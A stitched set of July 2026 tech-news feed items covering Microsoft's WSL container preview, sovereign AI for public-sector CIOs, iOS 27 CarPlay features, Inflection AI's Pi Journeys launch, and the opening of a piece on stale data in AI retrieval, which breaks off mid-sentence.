<p class="wp-block-paragraph">WSL container provides a new CLI that works in parallel to the familiar WSL, with commands to support the entire container life cycle, from creation to shut down. All you need to do to get started is upgrade your WSL installation to the current pre-release build (at the time of writing this was 2.9.3). Simply open an administrator PowerShell terminal and enter <code>wsl --update --pre-release</code>.</p>



<p class="wp-block-paragraph">This downloads and installs the latest WSL release. Once you’ve closed and re-opened your terminal (to ensure that you’ve updated its context) you can check that WSLC has installed by entering <code>wslc</code>, which should <a href="https://learn.microsoft.com/en-us/windows/wsl/tutorials/wsl-containers" data-type="link" data-id="https://learn.microsoft.com/en-us/windows/wsl/tutorials/wsl-containers">list the available commands</a>. The new CLI is aliased to WSL container, if you prefer to keep your container work separate from WSL (and avoid typos that might accidentally affect your WSL installations).</p>



<p class="wp-block-paragraph">Under the hood Microsoft is using WSL container to trial new integration points for Linux in Windows. One key change is the use of a new file system that significantly speeds up access to Windows from inside a container. Another improvement gives WSL container a new networking mode that relays networking connections directly through the Windows network stack, ensuring it has access to the same resources and security as Windows.</p>



<h2 class="wp-block-heading">Calling Linux containers from Windows applications</h2>



<p class="wp-block-paragraph">Things get more interesting when you start to use the <a href="https://wsl.dev/api-reference/">WSL container API</a> from inside your Windows code. Here you can include calls to Linux containers inside your desktop applications, taking advantage of existing services, building and deploying containers from inside your CI/CD pipeline. Using the new file system and networking stack helps reduce the friction that comes with crossing the boundaries between the two platforms.</p>



<p class="wp-block-paragraph">The WSL container API is available as a NuGet package, with support for C, C#, and C++. It allows your code to start and stop containers, and interact directly with them, sending command-line calls and reading back responses. Where things get interesting is being able to launch a containerized service from your code, exposing its REST or gRPC APIs on a local network port. Microsoft has provided <a href="https://github.com/microsoft/WSL/tree/master/doc/samples">sample code</a> to show you what’s possible at this early stage.</p>



<p class="wp-block-paragraph">Microsoft is doing something revolutionary here. It’s taking the cloud-native, service-driven model and bringing it into Windows and using it to bridge decades of divergent development. You no longer have to rewrite a service that works on Linux to run in Windows; all you need to do is containerize the service and launch it from the WSL container API. When you’re done, the API will tidy up after you, shutting down the container and reclaiming the memory it used.</p>



<p class="wp-block-paragraph">It’s important to remember that this is only the first public preview of a rapidly developing platform. There are many opportunities here to, say, build on the syscall translation layer developed for WSL1 to produce a native Windows-to-Linux application integration stack that removes the overhead of using web-based service calls. It will be interesting to see what develops, but this first release is very interesting indeed.</p>



<h2 class="wp-block-heading">Manage Linux containers from Windows</h2>



<p class="wp-block-paragraph">If you want a Docker Desktop-like experience for building and testing containers on Windows developer hardware, you may not have long to wait. WSL container’s underlying API is already being used to build tools that manage and monitor containers for you. One such tool is the <a href="https://github.com/mhackermsft/wslcontainerdesktop" data-type="link" data-id="https://github.com/mhackermsft/wslcontainerdesktop">WSL Container Desktop</a>, under development on GitHub. While there aren’t any release builds yet, it’s easy enough to compile and get running by cloning the source repository and building using the .NET CLI. You do need to have the <a href="https://github.com/microsoft/windowsappsdk" data-type="link" data-id="https://github.com/microsoft/windowsappsdk">Windows App SDK</a> installed, and some features require access to the Azure CLI.</p>



<p class="wp-block-paragraph">WSL Container Desktop is built in C#, with a WinUI front end. It’s currently only verified for use on x64, though I was able to compile and run it on an Arm64 PC and use it to test and run containers. Once running, it gives you a well-designed front end for your WSL-hosted containers, showing what’s running and what resources they are using. You can link WSL Container Desktop to container registries, like Docker’s and Azure’s, so you can quickly pull base containers and then use the WSL container environment to add your own code and customizations.</p>



<p class="wp-block-paragraph">Your main interaction point is the WSL Container Desktop dashboard, which shows what containers are running and their current resource usage. Elements are displayed in cards, taking a cue from Windows’ own user interface and especially from its Settings app. From the dashboard, you can drill down into the available containers, with quick start, stop, and reload options, as well as an extended memory that includes the ability to open a web browser to the appropriate port. I tested this with a container that included an entire KDE webtop, giving me a Linux distro running in a container in my browser.</p>



<p class="wp-block-paragraph">Other options include a details view that displays current logs and provides tools for inspecting the state of a container. This is the type of tool that comes in useful when debugging and testing container applications, as it can provide insights that the WSL container CLI doesn’t offer. Another option helps you clean up after you’ve downloaded an image and don’t need it anymore, with analytics that show the largest images and images you haven’t used for some time. On top of its tooling for working with WSL containers, WSL Container Desktop provides a basic settings tool that helps you configure its look and feel, as well as how it integrates with Windows.</p>



<h2 class="wp-block-heading">Run Kubernetes inside Windows for cloud-native development</h2>



<p class="wp-block-paragraph">One of the more useful features of WSL Container Desktop is the ability to quickly stand up a <a href="https://k3s.io/" data-type="link" data-id="https://k3s.io/">K3s</a> Kubernetes instance in WSL that can be used to host WSL containers, providing a local environment to build and test cloud-native applications wherever you might be. The K3s tooling offers a similar experience to the Kubernetes project’s own <a href="https://www.infoworld.com/article/3964051/headlamp-a-multicluster-kubernetes-user-interface.html">Headlamp UI</a>, making it easy to go between your development environment and a production Kubernetes cluster.</p>



<p class="wp-block-paragraph">It’s fair to describe WSL container as one of those Windows features you didn’t think you needed, but now it’s here you can’t live without it. WSL container simplifies building a container development tool chain in Windows, and at the same time allows you to think about a new generation of hybrid applications that take advantage of decades of development in both Windows and Linux.</p>



<p class="wp-block-paragraph">The result is something that was unimaginable a few years ago: dropping a Linux container into the middle of a Windows application and treating it as another local service. As the WSL container platform evolves, you should expect to see more ways of bringing Linux and Windows together, using containers to deliver a hybrid platform that gives us the best of both worlds at long last.</p>
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<title><![CDATA[Sovereign AI has become the public-sector CIO’s control problem]]></title>
<description><![CDATA[In public-sector and regulated-cloud work, I learned that sovereignty rarely starts as a national strategy. It starts as an auditor’s question: Who can prove where the data went, which system made the decision and what changes when the vendor or infrastructure does? That question is now moving in...]]></description>
<link>https://tsecurity.de/de/3688461/it-nachrichten/sovereign-ai-has-become-the-public-sector-cios-control-problem/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3688461/it-nachrichten/sovereign-ai-has-become-the-public-sector-cios-control-problem/</guid>
<pubDate>Thu, 23 Jul 2026 11:05:58 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
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<p class="wp-block-paragraph">In public-sector and regulated-cloud work, I learned that sovereignty rarely starts as a national strategy. It starts as an auditor’s question: Who can prove where the data went, which system made the decision and what changes when the vendor or infrastructure does? That question is now moving into AI, and most sovereign-AI debates answer the wrong version of it.</p>



<p class="wp-block-paragraph">They ask whether a country can build its own model on domestic data and hardware. For the United States and China, which together hold more than 90% of global AI data-center capacity, per a <a href="https://institute.global/insights/tech-and-digitalisation/sovereignty-in-the-age-of-ai-strategic-choices-structural-dependencies">January 2026 Tony Blair Institute analysis</a>, that question is worth asking. However, for almost every other government, it is the wrong place to start. The operative question is narrower: Once AI is embedded in public services, who controls the stack?</p>



<h2 class="wp-block-heading">The 5 layers of public-sector control</h2>



<p class="wp-block-paragraph">For a CIO, sovereign AI means enforceable control across the AI lifecycle; model ownership is a separate question. Control has five layers:</p>



<ul class="wp-block-list">
<li><strong>Data control:</strong> Where sensitive public data sits, and whether it can train a vendor’s model.</li>



<li><strong>Model control:</strong> Which models clear which workloads, and under what validation.</li>



<li><strong>Infrastructure control:</strong> Whether critical workloads run in approved environments.</li>



<li><strong>Operational control:</strong> Whether AI-assisted actions are logged, monitored and reversible.</li>



<li><strong>Vendor control:</strong> Whether the agency keeps portability, audit rights and a real exit.</li>
</ul>



<p class="wp-block-paragraph">Those five layers are the control plane for public-service AI. Floyd Dcosta recently made the enterprise case in “<a href="https://www.cio.com/article/4147102/ai-without-sovereignty-is-just-outsourced-intelligence.html">AI without sovereignty is just outsourced intelligence</a>”: capability is what a tool can do; authority over how and when it does it is something a buyer can quietly lose. For public services, losing that authority plays out in the public eye.</p>



<p class="wp-block-paragraph">Public-sector AI risk differs from enterprise risk. A retailer’s bad recommendation costs a sale; a government’s AI touches benefits, tax enforcement, policing and emergency response, raising the bar to due process, records retention and continuity of operations. A government that cannot reconstruct an AI-assisted decision lacks operational sovereignty, even in a domestic data center.</p>



<h2 class="wp-block-heading">Evaluating risk: Concentration, jurisdiction and shadow AI</h2>



<p class="wp-block-paragraph">Foreign dependency is a real risk, but the exposure that matters is a sudden cutoff: A model you cannot audit, switch or exit, shut off by someone else’s order. A vendor’s nationality is a poor guide to that risk; control is.  Two markers matter. The first is concentration. In July 2024, a single faulty CrowdStrike update <a href="https://www.cisa.gov/news-events/alerts/2024/07/19/widespread-it-outage-due-crowdstrike-update">crashed about 8.5 million Windows machines</a>, disrupting airlines, hospitals, banks and governments worldwide. No attacker was involved; one homogeneous dependency failed everywhere at once. The lesson points away from vendor nationality and toward uniformity as the fault line, making portability and provider diversity resilience controls.</p>



<p class="wp-block-paragraph">The second is jurisdiction. In June 2025, Microsoft’s legal director for France <a href="https://www.sdxcentral.com/news/microsoft-tells-french-lawmakers-it-cant-protect-user-data-from-us-demands/">told a Senate inquiry, under oath</a>, that it could not guarantee that French public-sector data, even in French data centers, would be protected against US demands under the 2018 CLOUD Act. No such request had been made, and EU data has stayed in the EU since January 2025; senators called the assurance purely declarative. For the most sensitive data, residency does not equal control; the parent’s jurisdiction can matter as much as the server’s. Three US hyperscalers hold <a href="https://www.srgresearch.com/articles/european-cloud-providers-local-market-share-now-holds-steady-at-15">about 70% of the European cloud market</a>, while European providers’ share fell from 29% in 2017 to roughly 15%. Concentration plus jurisdiction is the exposure a CIO must price. I have watched teams treat vendor selection as the moment risk was solved; it rarely was.</p>



<p class="wp-block-paragraph">The wrong response is self-isolation. Most countries will never build frontier models, advanced chips, hyperscale clouds and talent pipelines at once; the Tony Blair Institute calls full self-sufficiency “too expensive, too slow and, for most countries, simply impossible.” The better test is workload sensitivity. Low-risk uses, such as drafting, translation and summarization, can run on commercial platforms with controls; high-risk uses, such as benefits eligibility, fraud investigation and healthcare triage, demand stricter control over data, model behavior and auditability.</p>



<p class="wp-block-paragraph">Mandating domestic-only provision before a competitive option exists inverts sovereignty. <a href="https://europe2031.ai/summary">Europe 2031</a>, a five-year scenario from June 2026 by European technologists and policy researchers, illustrates the failure mode: A 2027 “buy European” mandate lands as offensive cyber capability spreads, and agencies that switched to weaker providers are locked out and paying ransoms. The scenario is fiction; the mechanism is not. Leverage comes from being indispensable, not half-hearted self-sufficiency. The closer-to-home effect is shadow AI: Mandate an inferior sanctioned tool and staff bypass it, the way shadow IT grows up around tools people find too slow. A rule that pushes sensitive work into ungoverned shadow AI reduces control instead of adding it.</p>



<p class="wp-block-paragraph">Regulation and data-residency rules belong in any serious strategy, but carry failure modes. Blanket localization raises hosting costs and slows adoption without guaranteeing control, and a “sovereign cloud” on a foreign parent’s stack can amount to sovereignty theater. The more useful pattern tiers requirements by sensitivity. India’s BHASHINI shows the application layer done well: A public platform <a href="https://www.pib.gov.in/PressReleaseIframePage.aspx?PRID=2093333&amp;reg=3&amp;lang=2">serving 100 million-plus inferences a month across 22-plus languages</a> on a vendor- and cloud-agnostic design that keeps data and switching rights public. Sovereignty resides in the portability, not in a national model.</p>



<h2 class="wp-block-heading">Building an operational sovereignty strategy</h2>



<p class="wp-block-paragraph">Public trust is the constraint sovereignty rhetoric tends to skip. The OECD’s <a href="https://www.oecd.org/en/publications/governing-with-artificial-intelligence_795de142-en.html">2025 review of government AI</a> warns that opaque systems make AI-assisted decisions hard to explain and can give public servants false confidence in tools that fail quietly. State-controlled AI is the same problem from the other side: A government that deploys models against its own citizens without audit or record has gained control and lost accountability. An agency that can log, explain and reverse an AI-assisted action can defend it to citizens, courts, auditors and elected officials. If it cannot, it has bought access and called it sovereignty.</p>



<p class="wp-block-paragraph">None of this is new. AI sovereignty repeats earlier fights over cloud, telecom, semiconductors and cybersecurity. Europe’s flagship cloud project, GAIA-X, became a cautionary tale; the Dutch technologist Bert Hubert called it an <a href="https://berthub.eu/articles/posts/gaia-x-is-an-expensive-distraction/">“expensive distraction”</a> that produced no European cloud, the familiar result of ambition without absorptive capacity. Cloud taught governments that outsourcing infrastructure does not outsource accountability; telecom, that vendor dependency becomes strategic exposure; chips, that supply chains matter before a crisis; cybersecurity, that trust must be verified continuously. AI inherits all four at once.</p>



<p class="wp-block-paragraph">Over the next five to ten years, some countries will build national platforms, more will build trusted cloud and trusted model regimes, and most will run hybrids that pair domestic data control with global model access. Trade policy will harden those choices: Export controls on compute and data-localization rules will pull the vendor market into blocs that track alliances more than open markets. For a CIO, that turns a vendor and hosting decision into a five-year bet on whose rules and supply chains will still hold. The ones that succeed will treat sovereignty as an operating requirement, backed by leverage, not a slogan. Start with the control plane before the model: Most agencies will never own the model, and the controls are what decide whether the AI they do run stays accountable. Even when procurement policy is dictated from above, these questions remain within the CIO’s authority:</p>



<ol start="1" class="wp-block-list">
<li>Can we classify AI workloads by public-service risk?</li>



<li>Can we prove where sensitive data goes across training, retrieval, inference, logging and retention?</li>



<li>Can we restrict which models are approved for which data classes and functions?</li>



<li>Can we reconstruct an AI-assisted action in enough detail to explain it?</li>



<li>Can we change providers without losing continuity or institutional knowledge?</li>



<li>Can we explain the system to citizens, regulators, auditors and elected officials?</li>
</ol>



<p class="wp-block-paragraph">A “no” to any of these does not mean the agency lacks AI. It means the agency has access it does not yet control. Public institutions can use global innovation without surrendering public authority, but only once they know what to hold, what to rent and where dependency turns into risk.</p>



<p class="wp-block-paragraph"><strong>This article is published as part of the Foundry Expert Contributor Network.</strong><br><a href="https://www.cio.com/expert-contributor-network/"><strong>Want to join?</strong></a></p>
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<title><![CDATA[iOS 27 CarPlay: Every New Feature Coming This Fall]]></title>
<description><![CDATA[Apple is bringing several useful upgrades to CarPlay with iOS 27, making the in-car experience smarter, more interactive, and easier to use. While this is not the biggest CarPlay update ever released, it introduces meaningful improvements across Siri, media playback, video apps, and the overall i...]]></description>
<link>https://tsecurity.de/de/3688187/ios-mac-os/ios-27-carplay-every-new-feature-coming-this-fall/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3688187/ios-mac-os/ios-27-carplay-every-new-feature-coming-this-fall/</guid>
<pubDate>Thu, 23 Jul 2026 08:57:19 +0200</pubDate>
<category>🍏 iOS / Mac OS</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Apple is bringing several useful upgrades to CarPlay with iOS 27, making the in-car experience smarter, more interactive, and easier to use. While this is not the biggest CarPlay update ever released, it introduces meaningful improvements across Siri, media playback, video apps, and the overall interface.



The biggest highlight is Siri AI, which finally gives CarPlay a more capable voice assistant. Alongside that, Apple has expanded video support, refreshed the design, and added quality-of-life improvements for media controls. Most of these features will arrive when iOS 27 launches publicly this fall, although some will depend on whether automakers enable support in their vehicles.



FeatureWhat's NewAvailabilitySiri AISmarter conversations, context memory, synced historyAll supported CarPlay usersVideo AppsNative video browsing and playback appsSupported vehicles onlyNew WallpapersFresh wallpapers matching iOS 27 designAll usersLiquid Glass IconsUpdated app icons across CarPlayAll usersMiniPlayerAlbum artwork and playback controlsSupported media appsAudio ScrubbingDrag through songs and podcastsSupported media apps



Siri AI Makes CarPlay Much Smarter







The biggest improvement in iOS 27 is the arrival of Siri AI inside CarPlay. Apple has redesigned Siri with a cleaner interface that appears as a glowing orb at the bottom of the screen. The design is simpler than previous Apple Intelligence versions while remaining easy to recognize during driving.



More importantly, Siri now understands natural conversations much better. Instead of responding to one question at a time, it remembers the context of your conversation, allowing follow-up questions without repeating the original request. This makes navigation, messaging, and general information requests feel much more natural.



Siri AI also answers broader knowledge questions in a way that feels similar to modern AI assistants. Whether you ask about travel plans, nearby places, or general information, the responses are more detailed and conversational than before.



Siri Conversation History Sync



Apple has also introduced conversation syncing between CarPlay and the new Siri app on iPhone.



After using Siri in your car, you can open the Siri app on your iPhone and review previous conversations. Requests made through CarPlay are clearly marked with a small car icon, making it easy to continue a conversation after leaving your vehicle.



Native Video Apps Come to CarPlay







Apple first introduced video playback in cars through AirPlay, but iOS 27 expands the experience much further.



Developers can now build dedicated CarPlay video apps that allow users to browse their content directly from the vehicle's display instead of relying entirely on the iPhone interface.



This means supported streaming services can provide a complete CarPlay experience while the vehicle is parked.



Important limitations




Videos only play while the vehicle is stationary.



Playback stops when driving begins and switches to audio if supported.



Vehicle manufacturers must enable this feature.



Older vehicles may never receive support. citeturn0search1turn0search4




Refreshed CarPlay Design



Apple has updated the visual appearance of CarPlay to match the rest of iOS 27.



Users receive a new collection of wallpapers inspired by the latest system design. The updated backgrounds closely match the look found across iOS 27 and macOS Golden Gate.



CarPlay app icons also adopt Apple's latest Liquid Glass styling, creating a more modern appearance while keeping familiar layouts intact.



Better Media Playback Controls



Media playback receives several practical improvements that users have requested for years.



New MiniPlayer



Media applications now display a MiniPlayer in the upper-right corner of the interface.



Instead of showing a simple waveform icon, the MiniPlayer includes:




Album artwork



Play and pause controls



Quick access to currently playing content




This allows users to keep playback controls visible while browsing music or podcasts.



Audio Scrubbing Finally Arrives



One of the most welcome additions is audio scrubbing.



Users can now drag the playback progress bar directly from the Now Playing screen to move forward or backward through songs, podcasts, and supported audio content. Apple has also enlarged the progress indicator, making it easier to use on a vehicle's touchscreen.



This small feature significantly improves everyday usability, especially for podcasts and long playlists.



Compatibility



The new CarPlay features require:



RequirementStatusiPhone running iOS 27RequiredCompatible CarPlay vehicleRequiredNative video appsRequires automaker supportSiri AIAvailable on supported iPhones with iOS 27



Wrap Up



CarPlay in iOS 27 focuses on practical improvements instead of introducing an entirely new interface. Siri AI is the standout addition thanks to its stronger conversational abilities and conversation history syncing, while native video apps open new possibilities for entertainment when parked.



Meanwhile, smaller upgrades such as the MiniPlayer, audio scrubbing, refreshed wallpapers, and updated icons make the overall experience feel more polished. Although some features depend on automaker support, iOS 27 delivers one of the most useful CarPlay updates Apple has released in recent years.]]></content:encoded>
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<title><![CDATA[Inflection AI returns to consumer market with Pi Journeys after Microsoft upheaval]]></title>
<description><![CDATA[Inflection AI, the Palo Alto startup that two years ago became Silicon Valley's most famous cautionary tale about the brutal economics of frontier AI, announced Tuesday that it is returning to the consumer market with a new research division and an experimental product built around a provocative ...]]></description>
<link>https://tsecurity.de/de/3687581/it-nachrichten/inflection-ai-returns-to-consumer-market-with-pi-journeys-after-microsoft-upheaval/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3687581/it-nachrichten/inflection-ai-returns-to-consumer-market-with-pi-journeys-after-microsoft-upheaval/</guid>
<pubDate>Wed, 22 Jul 2026 22:58:21 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p><a href="https://inflection.ai/">Inflection AI</a>, the Palo Alto startup that two years ago became Silicon Valley's most famous cautionary tale about the brutal economics of frontier AI, announced Tuesday that it is returning to the consumer market with a new research division and an experimental product built around a provocative thesis: the next competitive battleground in AI won't be raw intelligence, but relationships.</p><p>The company launched <a href="https://inflection.ai/labs">Inflection AI Labs</a>, a public-facing research and experimentation arm, alongside <a href="https://inflection.ai/labs/pi-journeys">Pi Journeys</a>, the lab's first product experiment — an AI experience designed to adapt to a user's life stage, whether that's becoming a parent, taking on caregiving duties, changing careers, or aging. The announcement arrived with a research report on consumer AI habits and a substantial update to Pi, the company's flagship chatbot, adding improved voice, memory, and new agentic tools for reminders, to-do lists, and shopping.</p><p>"Inflection AI is the company. Pi is our flagship consumer product. Inflection AI Labs is where we experiment, explore personal intelligence and share more publicly. Pi Journeys is the first public experiment from Inflection AI Labs," CEO Sean White told VentureBeat in an exclusive interview.</p><p>Behind the tidy org chart is a far more interesting story: a company attempting one of the more unusual second acts in the AI industry, powered by an argument that the entire market is optimizing for the wrong thing.</p><h2><b>Why Inflection AI believes the chatbot era's biggest flaw is that it's transactional</b></h2><p>White's central claim is that today's AI assistants — including the industry's most capable models — are fundamentally transactional. You ask, they answer, the session ends. He believes that architecture misses most of what people actually need from artificial intelligence in their daily lives.</p><p>"One of the things that really struck us in particular, and this showed up in the research, was that a lot of the work is very transactional, and you'll hear me say a lot that we've been shifting all this from transactional to relational systems," White said. "Not everything is going to be: I do a single turn, I utter a question, I get a search response back."</p><p>White frames the industry's evolution as a progression through four kinds of intelligence. First came raw IQ — the foundation model race. Then emotional intelligence, which Inflection made its signature with Pi's famously warm conversational style. Then agentic intelligence — AI that acts rather than just talks — which White says Inflection absorbed from its enterprise work. The fourth, and the one Inflection is now staking its future on, is what the company calls relational intelligence: AI that understands not just you, but the web of people around you.</p><p>"There's so much fear about these things pushing people into loneliness,” White said. “If we design these pro-social systems as another design criteria, that actually makes a huge difference."</p><p>That design philosophy is a pointed counter-narrative to one of the loudest anxieties in consumer AI right now: that <a href="https://www.media.mit.edu/articles/chatgpt-may-be-making-us-lonelier/">emotionally engaging chatbots deepen isolation</a> by substituting for human contact. Inflection argues the opposite is possible — that an AI with structured knowledge of your relationships can push you back toward people rather than away from them.</p><h2><b>Inside Pi Journeys, the AI companion that maps your relationships and life stages</b></h2><p><a href="https://inflection.ai/labs/pi-journeys">Pi Journeys</a> makes that idea concrete. When users first open the product, it asks about their life stage — caregiver, household manager, midlife transition — and then builds what White describes as specially structured memory around the people who matter in that context. From there, the system becomes proactive.</p><p>"It starts to build up memories around that, and it acts as a memory prosthetic — but in a pro-social way," White said. "It doesn't get in the way of your interactions with other people; it really helps facilitate them." The system might remind a user, for example, that a friend deserves a call, or resurface what was last discussed with a family member involved in a parent's care.</p><p>White, who spent years as chief R&amp;D officer at Mozilla before taking Inflection's helm, was quick to flag the obvious privacy implications of an AI that maps your social graph. "We've built a lot of privacy systems into this," he said, noting users can delete and manage the people recorded in their profile. Whether consumers will trust a venture-backed AI company with a structured database of their most important relationships remains one of the biggest open questions hanging over the product — and one that enterprise buyers evaluating Inflection's technology will watch closely.</p><p>Asked why this was the first Labs experiment, White was direct: "Pi Journeys takes into account people's life stages and experiences because we have heard from users that we can provide more value in helping them navigate their lives. Pi Journeys lets us experiment with the early stages of prosocial and relational intelligence because life isn't single-player."</p><p>The product has been tested internally and with small closed groups, White said, and is now being released more broadly as an experiment rather than a finished product — a posture the Labs branding is designed to make explicit.</p><h2><b>What Inflection's consumer AI research reveals about how people actually use chatbots</b></h2><p>Inflection Labs' first publication, the <a href="https://inflection.ai/state-of-consumer-ai-2026">State of Consumer AI Research Report</a>, offers the empirical scaffolding for the strategy. The average consumer now uses roughly two different AI tools every day and three per week, the company found — evidence, in Inflection's reading, that no single assistant has locked up consumer loyalty and that the market remains contestable.</p><p>More telling is why people choose the tools they do. Respondents cited personalization, style and tone, context awareness, and — notably — emotional understanding as deciding factors. They also said they want AI to be more than a productivity engine: a coach or mentor to motivate them, a chef to suggest recipes, a DJ to curate playlists.</p><p>"One thing we're certainly finding is that a lot of that also is in work, not so much in everyday life," White said. "That's our focus right now — the everyday life part."</p><p>This is a shrewd reading of the competitive map. The best-funded AI labs are pouring resources into coding tools, enterprise agents, and developer platforms, leaving everyday consumer use cases comparatively underserved. White sees the gap clearly. "We see a lot of products that are being aimed more and more at the enterprise," he said. "As a computer scientist by training, I kind of love the IDEs as this tool, but it's not really great for everybody. There's so much regular everyday use from folks that is either purely voice or that is purely mobile."</p><p>He recalled a conversation with a conference staffer who told him she owned only a phone, no laptop — exactly the kind of user, he argued, that the industry's developer-centric product roadmaps have left behind.</p><h2><b>How the $650 million Microsoft deal hollowed out Inflection — and set up its second act</b></h2><p>To understand why any of this is remarkable, you have to rewind to March 2024. Inflection was then one of the hottest startups in AI, having <a href="https://www.reuters.com/technology/inflection-ai-raises-13-bln-funding-microsoft-others-2023-06-29/">raised $1.3 billion in mid-2023</a> in a round backed by Microsoft, Nvidia, Bill Gates, and Reid Hoffman — more than $1.5 billion in total. Pi had crossed one million daily active users, per Reuters.</p><p>Then, in a deal that reshaped how the industry thinks about acqui-hires, Microsoft hired away co-founder and CEO Mustafa Suleyman, chief scientist Karén Simonyan, and most of the company's roughly 70 employees, paying Inflection about $650 million largely to license its technology, as <a href="https://www.bloomberg.com/news/articles/2024-03-21/microsoft-to-pay-inflection-ai-650-million-after-scooping-up-most-of-staff">Reuters reported</a>. Suleyman now runs Microsoft's consumer AI business. The structure of the deal drew scrutiny from the FTC and Britain's competition regulator, though the UK's Competition and Markets Authority cleared it in September 2024 and EU regulators declined to act.</p><p>White, installed as CEO in the aftermath, steered the remnant company hard toward enterprise, acquiring three startups in late 2024 — <a href="http://jelled.ai/">Jelled.AI</a>, <a href="https://boostkpi.com/">BoostKPI</a>, and the European consulting firm <a href="https://www.boundaryless.com/">Boundaryless</a> — and <a href="https://techcrunch.com/2024/11/26/inflection-ceo-says-its-done-competing-to-make-next-generation-ai-models/">telling TechCrunch</a> that November that Inflection had no intention of competing with companies building 100,000-GPU frontier systems.</p><p>Tuesday's announcement doesn't reverse that position so much as complicate it. Asked how to think about the company today, White called it "a consumer-first strategy that bridges both consumer and enterprise efforts" — and he insists the two sides feed each other.</p><p>Enterprise deployments, including a partnership with Intel that is among the few he can name publicly, taught Inflection how to run models inside complex infrastructure. Consumer products, meanwhile, let the company iterate at speed. "The part I also like about the consumer side, and this has always been true, is that we can move faster, experiment faster, and try and learn faster," White said.</p><h2><b>The six-month prediction: relationship-aware AI is coming to the enterprise</b></h2><p>Buried in White's consumer pitch is the claim that should matter most to technical decision-makers. "Normally I'd say like a year, but let's call it six months," he said. "You're going to start to see a bunch of enterprises care a lot more about the relationships that are inside the enterprises and what that picture is, not just the workflows."</p><p>If White is right, the wave of workflow-automation agents currently flooding the enterprise market is only the first phase of business AI adoption — with relationship-aware systems, tested first on consumers, following close behind. Inflection is essentially using its consumer products as a live laboratory for capabilities it plans to sell into companies. It's a capital-efficient strategy for a firm that can no longer outspend rivals on training runs, and a risky one, since it depends on consumers showing up in numbers large enough to generate the learning.</p><p>The technical substance underneath is equally pragmatic. Pi today runs not on a single proprietary frontier model but on an orchestration layer routing across many models — some descended from Inflection's original fully trained cores, some fine-tuned, some open source, including work with Nvidia that White says gives Inflection access to unreleased cutting-edge models. He also took a swipe at the industry's loose vocabulary around ownership: "When people say that the model is their own, most of the time nowadays — I guess I won't name names — a lot of companies will actually take a checkpoint, and then they will fine-tune from that checkpoint. But very few people actually start from that beginning core."</p><p>That candor extends to open source, where White carefully hedged. "We're not ready to promise what I think of as true open source, and by that I mean everything," he said, invoking his Mozilla years overseeing genuinely open projects like <a href="https://rust-lang.org/">Rust</a> and <a href="https://webassembly.org/">WebAssembly</a>.</p><p>Weights without training data and pipelines, he argued, often leave developers unable to do anything meaningful with a supposedly "open" model. "We are a PBC, and there's still a C in there," he added — a reminder that public benefit corporations still have businesses to protect. The Labs will collaborate with academic researchers, including Stanford professors who visited the company's Palo Alto office this week, and continue contributing to open projects such as <a href="https://pytorch.org/">PyTorch</a>.</p><h2><b>Can a diminished Inflection compete with AI giants spending billions?</b></h2><p>Reid Hoffman, the LinkedIn co-founder who co-founded Inflection and stayed on through the Microsoft upheaval, framed the announcement in the sweeping terms of his recent writing on AI and human agency. "Humans should be amplified by AI, not replaced. That's the principle Pi was built on," <a href="https://finance.yahoo.com/technology/ai/articles/inflection-ai-shaping-future-personal-130000573.html">Hoffman said</a> in the announcement. "When that kind of agency is available to everyone, you get superagency."</p><p>The skeptic's case is easy to make. Inflection is a fraction of its former size, competing for consumer attention against products from companies spending tens of billions of dollars a year. Pi's model was state of the art in 2023; it is not in 2026. And "<a href="https://www.linkedin.com/posts/inflectionai_inflection-ai-is-shaping-the-future-of-personal-activity-7485407087926312960-fqCl/">relational intelligence</a>" is, for now, a brand claim awaiting proof.</p><p>But the bull case is not crazy either. Inflection's own research shows consumers already juggle multiple AI tools and choose them for qualities — tone, emotional understanding, personalization — that frontier labs treat as afterthoughts. The company kept its technology, its Microsoft licensing windfall, and a defensible enterprise niche in on-premise, emotionally intelligent deployments. And it is targeting the one consumer segment — everyday, mobile-first, voice-first life management — that the coding-obsessed giants have largely ignored.</p><p>Asked what success looks like twelve months from now, White declined to talk numbers. "It's less about scale for scale's sake and more about scaling for impact by empowering people and improving their lives," he said. "Over the next year, success means leading the market towards relational intelligence and transforming AI interactions from transactional to relational."</p><p>Two years ago, Microsoft walked away with Inflection's founders, its staff, and its shot at the frontier — but it left behind the one idea the giants still haven't figured out how to build: an AI that knows the people in your life matter more than the tasks on your list. Inflection is betting the company, again, that the idea was the valuable part all along.</p><p>
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<title><![CDATA[AI agents aren't confidently wrong because of bad context — they're wrong because of bad data engineering]]></title>
<description><![CDATA[You spend weeks tuning an AI chatbot. Answers are accurate. Stakeholders sign off, and you ship it. Three months later, the system is confidently wrong about a third of what users ask. Nobody changed the model, and nobody touched the prompts. The world moved, pricing changed, a policy updated, a ...]]></description>
<link>https://tsecurity.de/de/3687580/it-nachrichten/ai-agents-arent-confidently-wrong-because-of-bad-context-theyre-wrong-because-of-bad-data-engineering/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3687580/it-nachrichten/ai-agents-arent-confidently-wrong-because-of-bad-context-theyre-wrong-because-of-bad-data-engineering/</guid>
<pubDate>Wed, 22 Jul 2026 22:58:18 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>You spend weeks tuning an AI chatbot. Answers are accurate. Stakeholders sign off, and you ship it. Three months later, the system is confidently wrong about a third of what users ask. Nobody changed the model, and nobody touched the prompts. The world moved, pricing changed, a policy updated, a product spec shipped a new version, and the underlying knowledge store didn't move with it.</p><p>This is not a hypothetical. It's one of the most common production failure modes in enterprise AI right now, and most data engineering teams don't have the right tooling to catch it, regardless of how the AI system retrieves the data.</p><h2>The failure that doesn't look like a failure </h2><p>An AI application doesn't care whether it's retrieving from a vector store, a document index, or an API call. Whatever the mechanism, nothing in a standard retrieval pipeline checks whether what it's serving is still correct. A stale pricing document retrieves just as confidently as a current one, because the system is scoring relevance or availability, not correctness. A record with a silently missing field passes through just as cleanly as a complete one, for the same reason.</p><p>So the failure is invisible by design. Outdated or incomplete data still scores high on relevance, or passes every check a data pipeline was built to run. The model answers with full confidence because the retrieved context looks authoritative. Every dashboard you're 